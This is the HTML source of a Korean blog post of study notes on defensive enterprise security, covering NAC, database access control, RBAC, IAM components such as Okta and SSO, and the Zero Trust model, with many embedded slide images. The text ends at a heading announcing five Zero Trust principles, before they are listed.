&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;878&quot; data-origin-height=&quot;396&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/OOeOT/btsOnbranCt/HRD5qvDBZf1VmhSiJYq82K/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/OOeOT/btsOnbranCt/HRD5qvDBZf1VmhSiJYq82K/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/OOeOT/btsOnbranCt/HRD5qvDBZf1VmhSiJYq82K/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FOOeOT%2FbtsOnbranCt%2FHRD5qvDBZf1VmhSiJYq82K%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;878&quot; height=&quot;396&quot; data-origin-width=&quot;878&quot; data-origin-height=&quot;396&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- NAC(Network Access Control): 유무선 환경에서 내부 네트워크망으로 접근하는 다양한 단말기기를 통제하기 위한 보안 솔루션&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;898&quot; data-origin-height=&quot;418&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/wtOwI/btsOmGZfqMK/cbMi8JRk0vz2KTGTOG4Cok/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/wtOwI/btsOmGZfqMK/cbMi8JRk0vz2KTGTOG4Cok/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/wtOwI/btsOmGZfqMK/cbMi8JRk0vz2KTGTOG4Cok/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FwtOwI%2FbtsOmGZfqMK%2FcbMi8JRk0vz2KTGTOG4Cok%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;898&quot; height=&quot;418&quot; data-origin-width=&quot;898&quot; data-origin-height=&quot;418&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;접근제어&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- DB 접근제어: 보안을 위해 데이터베이스 접근을 통제하고 관리하는 솔루션&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- DB에 접근이 가능한 직원이라도 담당 업무에 따라서 접근 범위가 다를 수 있다&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;748&quot; data-origin-height=&quot;412&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/t4hEU/btsOnc4F1Xa/RMEMMdswRBLsADNjDBn8h1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/t4hEU/btsOnc4F1Xa/RMEMMdswRBLsADNjDBn8h1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/t4hEU/btsOnc4F1Xa/RMEMMdswRBLsADNjDBn8h1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Ft4hEU%2FbtsOnc4F1Xa%2FRMEMMdswRBLsADNjDBn8h1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;748&quot; height=&quot;412&quot; data-origin-width=&quot;748&quot; data-origin-height=&quot;412&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 데이터 거버넌스: 데이터의 보안, 개인정보 보호, 정확성, 가용성, 사용성을 보장하기 위해 수행하는 모든 작업&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;775&quot; data-origin-height=&quot;421&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/t8Biz/btsOk7D3QQe/zKzo2ghjp5oNGCKPfZQba1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/t8Biz/btsOk7D3QQe/zKzo2ghjp5oNGCKPfZQba1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/t8Biz/btsOk7D3QQe/zKzo2ghjp5oNGCKPfZQba1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Ft8Biz%2FbtsOk7D3QQe%2FzKzo2ghjp5oNGCKPfZQba1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;775&quot; height=&quot;421&quot; data-origin-width=&quot;775&quot; data-origin-height=&quot;421&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- RBAC(Role-Based Access Control): 권한이 있는 사용자들에게 한해 시스템 접속을 허용하는 접근제어 방법&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;671&quot; data-origin-height=&quot;396&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/BUxnf/btsOndvLer9/hp6BktITWT6WUJkdiz8SM1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/BUxnf/btsOndvLer9/hp6BktITWT6WUJkdiz8SM1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/BUxnf/btsOndvLer9/hp6BktITWT6WUJkdiz8SM1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FBUxnf%2FbtsOndvLer9%2Fhp6BktITWT6WUJkdiz8SM1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;671&quot; height=&quot;396&quot; data-origin-width=&quot;671&quot; data-origin-height=&quot;396&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;IAM &amp;amp; Zero Trust&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- IAM(Identity and Access Management): 기업에서 인증한 사람과 디바이스만 기업의 애플리케이션과 시스템에 접근할 수 있도록 허용하는 솔루션&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;852&quot; data-origin-height=&quot;413&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bF8hTM/btsOmvXY50S/GCe5MtrEJBLpU2KkkuOByK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bF8hTM/btsOmvXY50S/GCe5MtrEJBLpU2KkkuOByK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bF8hTM/btsOmvXY50S/GCe5MtrEJBLpU2KkkuOByK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbF8hTM%2FbtsOmvXY50S%2FGCe5MtrEJBLpU2KkkuOByK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;852&quot; height=&quot;413&quot; data-origin-width=&quot;852&quot; data-origin-height=&quot;413&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 대표적인 IAM 구성 요소 6개&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- Okta: 대표적인 기업용&amp;nbsp;Identity&amp;nbsp;and&amp;nbsp;Access&amp;nbsp;Management&amp;nbsp;(IAM)&amp;nbsp;솔루션&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;952&quot; data-origin-height=&quot;238&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bg2EZh/btsOlF78cX8/zfDW5yXnNV1kr5mygklwg1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bg2EZh/btsOlF78cX8/zfDW5yXnNV1kr5mygklwg1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bg2EZh/btsOlF78cX8/zfDW5yXnNV1kr5mygklwg1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fbg2EZh%2FbtsOlF78cX8%2FzfDW5yXnNV1kr5mygklwg1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;952&quot; height=&quot;238&quot; data-origin-width=&quot;952&quot; data-origin-height=&quot;238&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;- SSO: 사용자가 하나의 자격 증명(사용자 이름과 비밀번호)으로 여러 개의 애플리케이션이나 서비스에 로그인 할 수 있도록 해주는 기술&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;- Access Security:&lt;span&gt;&amp;nbsp;&lt;/span&gt;누가,&amp;nbsp;언제,&amp;nbsp;어떤&amp;nbsp;방식으로&amp;nbsp;특정&amp;nbsp;자원에&amp;nbsp;접근할&amp;nbsp;수&amp;nbsp;있는지를&amp;nbsp;제어하는&amp;nbsp;보안의&amp;nbsp;핵심적인&amp;nbsp;측면&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;- Directory: 사용자와 그룹의 정보를 저장하고 관리하는 중앙 집중식 시스템(내부 직원 여부 확인)&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;- Dynamic Authorization:&lt;span&gt;&amp;nbsp;&lt;/span&gt;사용자의 접근 권한을 실시간으로 조정하여 보안을 강화하는 방법&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;- API Security: API를 안전하고 의도한대로 사용할 수 있도록 보장&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;- Central Admin: 중앙 관리자&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- IAM이 필요한 이유&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;1. 기업의 데이터를 안전하게 보호하기 위해&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;922&quot; data-origin-height=&quot;419&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/ElO08/btsOmsmFZSK/aZlGkaKfKuHEYZKoEfNR91/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/ElO08/btsOmsmFZSK/aZlGkaKfKuHEYZKoEfNR91/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/ElO08/btsOmsmFZSK/aZlGkaKfKuHEYZKoEfNR91/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FElO08%2FbtsOmsmFZSK%2FaZlGkaKfKuHEYZKoEfNR91%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;922&quot; height=&quot;419&quot; data-origin-width=&quot;922&quot; data-origin-height=&quot;419&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- IAM이 필요한 이유&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;2. IT 관리자의 업무 부담을 줄이고 실수를 방지하기 위해 &amp;rarr; 수동 업무의 자동화&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;951&quot; data-origin-height=&quot;461&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bbDzn6/btsOnvpvnqQ/CGuh9rDwP3StlalhtiKIg0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bbDzn6/btsOnvpvnqQ/CGuh9rDwP3StlalhtiKIg0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bbDzn6/btsOnvpvnqQ/CGuh9rDwP3StlalhtiKIg0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbbDzn6%2FbtsOnvpvnqQ%2FCGuh9rDwP3StlalhtiKIg0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;951&quot; height=&quot;461&quot; data-origin-width=&quot;951&quot; data-origin-height=&quot;461&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;938&quot; data-origin-height=&quot;476&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/biKyYv/btsOlOcLQys/mU4yHZpkIGCjQ8MQrkEaU0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/biKyYv/btsOlOcLQys/mU4yHZpkIGCjQ8MQrkEaU0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/biKyYv/btsOlOcLQys/mU4yHZpkIGCjQ8MQrkEaU0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbiKyYv%2FbtsOlOcLQys%2FmU4yHZpkIGCjQ8MQrkEaU0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;938&quot; height=&quot;476&quot; data-origin-width=&quot;938&quot; data-origin-height=&quot;476&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- IAM이 필요한 이유&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;3. 다수의 SaaS 및 서비스를 사용하는 사용자의 생산성 향상을 위해&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;939&quot; data-origin-height=&quot;444&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bno3vj/btsOmg7FnoS/n15Zkm5twtgCAB0AXk6JTK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bno3vj/btsOmg7FnoS/n15Zkm5twtgCAB0AXk6JTK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bno3vj/btsOmg7FnoS/n15Zkm5twtgCAB0AXk6JTK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fbno3vj%2FbtsOmg7FnoS%2Fn15Zkm5twtgCAB0AXk6JTK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;939&quot; height=&quot;444&quot; data-origin-width=&quot;939&quot; data-origin-height=&quot;444&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 고객 Identity 관리 발전 방향: &lt;span style=&quot;color: #333333; text-align: start;&quot;&gt;사용자가 직접 관리 &amp;rarr; 디바이스 별로 개별 관리&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&amp;rarr; IAM 플랫폼으로 통합 관리&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;887&quot; data-origin-height=&quot;444&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/2YP7c/btsOlXOiTdE/ZJ2qSiNkwyw9DtktZv0HKK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/2YP7c/btsOlXOiTdE/ZJ2qSiNkwyw9DtktZv0HKK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/2YP7c/btsOlXOiTdE/ZJ2qSiNkwyw9DtktZv0HKK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2F2YP7c%2FbtsOlXOiTdE%2FZJ2qSiNkwyw9DtktZv0HKK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;887&quot; height=&quot;444&quot; data-origin-width=&quot;887&quot; data-origin-height=&quot;444&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 기업의 Identity 관리 발전 방향: 사용자가 직접 관리 &amp;rarr; 서비스 별로 개별 관리 &amp;rarr; IAM 플랫폼으로 통합 관리&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- Workforce Identity: 조직 내에서 사용자들의 역할, 신원 인증, 리소스에 대한 접근 권한을 효과적으로 관리하기 위한 인적 자원 관리 시스템&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;883&quot; data-origin-height=&quot;439&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/b4qRSH/btsOlXAKt4j/P3DDErz0ojb55i87X7R2eK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/b4qRSH/btsOlXAKt4j/P3DDErz0ojb55i87X7R2eK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/b4qRSH/btsOlXAKt4j/P3DDErz0ojb55i87X7R2eK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fb4qRSH%2FbtsOlXAKt4j%2FP3DDErz0ojb55i87X7R2eK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;883&quot; height=&quot;439&quot; data-origin-width=&quot;883&quot; data-origin-height=&quot;439&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- Zero Trust: 신뢰가 없다, 아무도 믿지 않는다 라는 컨셉의 보안 모델&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 사용자 및 기기가 네트워크나 데이터에 접근할 때 기업에서 요구하는 보안 검증을 통과하기 전까지는 접속을 허용하지 않는 보안 아키텍처&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;834&quot; data-origin-height=&quot;447&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/es1c9p/btsOk9u8cRt/hYELUj7ET8eTT7WvP47J20/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/es1c9p/btsOk9u8cRt/hYELUj7ET8eTT7WvP47J20/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/es1c9p/btsOk9u8cRt/hYELUj7ET8eTT7WvP47J20/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fes1c9p%2FbtsOk9u8cRt%2FhYELUj7ET8eTT7WvP47J20%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;834&quot; height=&quot;447&quot; data-origin-width=&quot;834&quot; data-origin-height=&quot;447&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 기존 보안 모델 vs Zero Trust 보안 모델&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 방화벽을 통과하더라도 각 시스템에 접근하는 행위에 대한 검증을 한번 더 진행&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;861&quot; data-origin-height=&quot;459&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/ce78oP/btsOntZwVvB/W2iUwfzKVvmZVqbNFSi0Dk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/ce78oP/btsOntZwVvB/W2iUwfzKVvmZVqbNFSi0Dk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/ce78oP/btsOntZwVvB/W2iUwfzKVvmZVqbNFSi0Dk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fce78oP%2FbtsOntZwVvB%2FW2iUwfzKVvmZVqbNFSi0Dk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;861&quot; height=&quot;459&quot; data-origin-width=&quot;861&quot; data-origin-height=&quot;459&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- Zero Trust 필요성: IT 인프라 보안 환경이 너무 복잡해짐, 관리 포인트가 너무 많아진 것이 가장 큰 원인&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 사용자 기기 증가, 다양한 접속 위치 및 시간대, 한번 관문을 통과하면 어떤 작업도 허용하는 전통적인 보안 방식의 한계&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;879&quot; data-origin-height=&quot;384&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/c4MPXW/btsOnojBQ8x/bJHJJ2CMBzaXLz7Gf4bSGk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/c4MPXW/btsOnojBQ8x/bJHJJ2CMBzaXLz7Gf4bSGk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/c4MPXW/btsOnojBQ8x/bJHJJ2CMBzaXLz7Gf4bSGk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fc4MPXW%2FbtsOnojBQ8x%2FbJHJJ2CMBzaXLz7Gf4bSGk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;879&quot; height=&quot;384&quot; data-origin-width=&quot;879&quot; data-origin-height=&quot;384&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- Zero Trust 보안 모델 구현을 위한 5가지 원칙&lt;/p&gt;
